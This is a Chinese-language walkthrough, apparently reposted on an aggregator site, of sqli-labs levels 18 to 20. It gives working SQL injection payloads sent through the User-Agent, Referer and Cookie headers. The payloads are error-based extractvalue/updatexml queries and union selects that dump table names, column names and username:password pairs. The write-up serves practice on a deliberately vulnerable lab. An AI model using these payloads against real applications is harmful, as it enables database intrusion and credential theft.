less18 基于錯誤的用戶代理，頭部POST注入

admin
admin
登入成功（進不去重置數據庫）
顯示如下

有user agent參數，可能存在注入點

顯示版本號：

爆庫：User-Agent:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

庫名：

less19基于頭部的RefererPOST報錯注入

抓包
admin登陸什么也沒有
在referer后加單引號有回顯sql語法錯誤
然后就和 18一樣了：Referer: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
爆庫：

less20 基于錯誤的cookie頭部POST注入

admin登陸：

本關登錄成功后用戶名會存儲在cookie中,且通過該參數執行SQL語句

登錄成功之后會設置里面的cookie 當二次刷新的時候 這時候會重新從里面取值弄，并且這次取值沒有經過過濾 直接就是注入點 還是使用updatexml的函數進行報錯

方法一：
cookie注入：uname=admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #

方法2：
cookie 后加單引號出現報錯，說明cookie處存在注入點

'order by 3 --+ // 回顯正常 'order by 4 --+ // 回顯錯誤//說明行數有3個，即3個顯示位

爆庫名：

之后就是爆表：

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆字段：

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

爆值：

union select 1,2,group_concat(username,0x3a,password) from users--+

總結

以上是生活随笔為你收集整理的sqli-lab————Writeup（18~20）各种头部注入的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。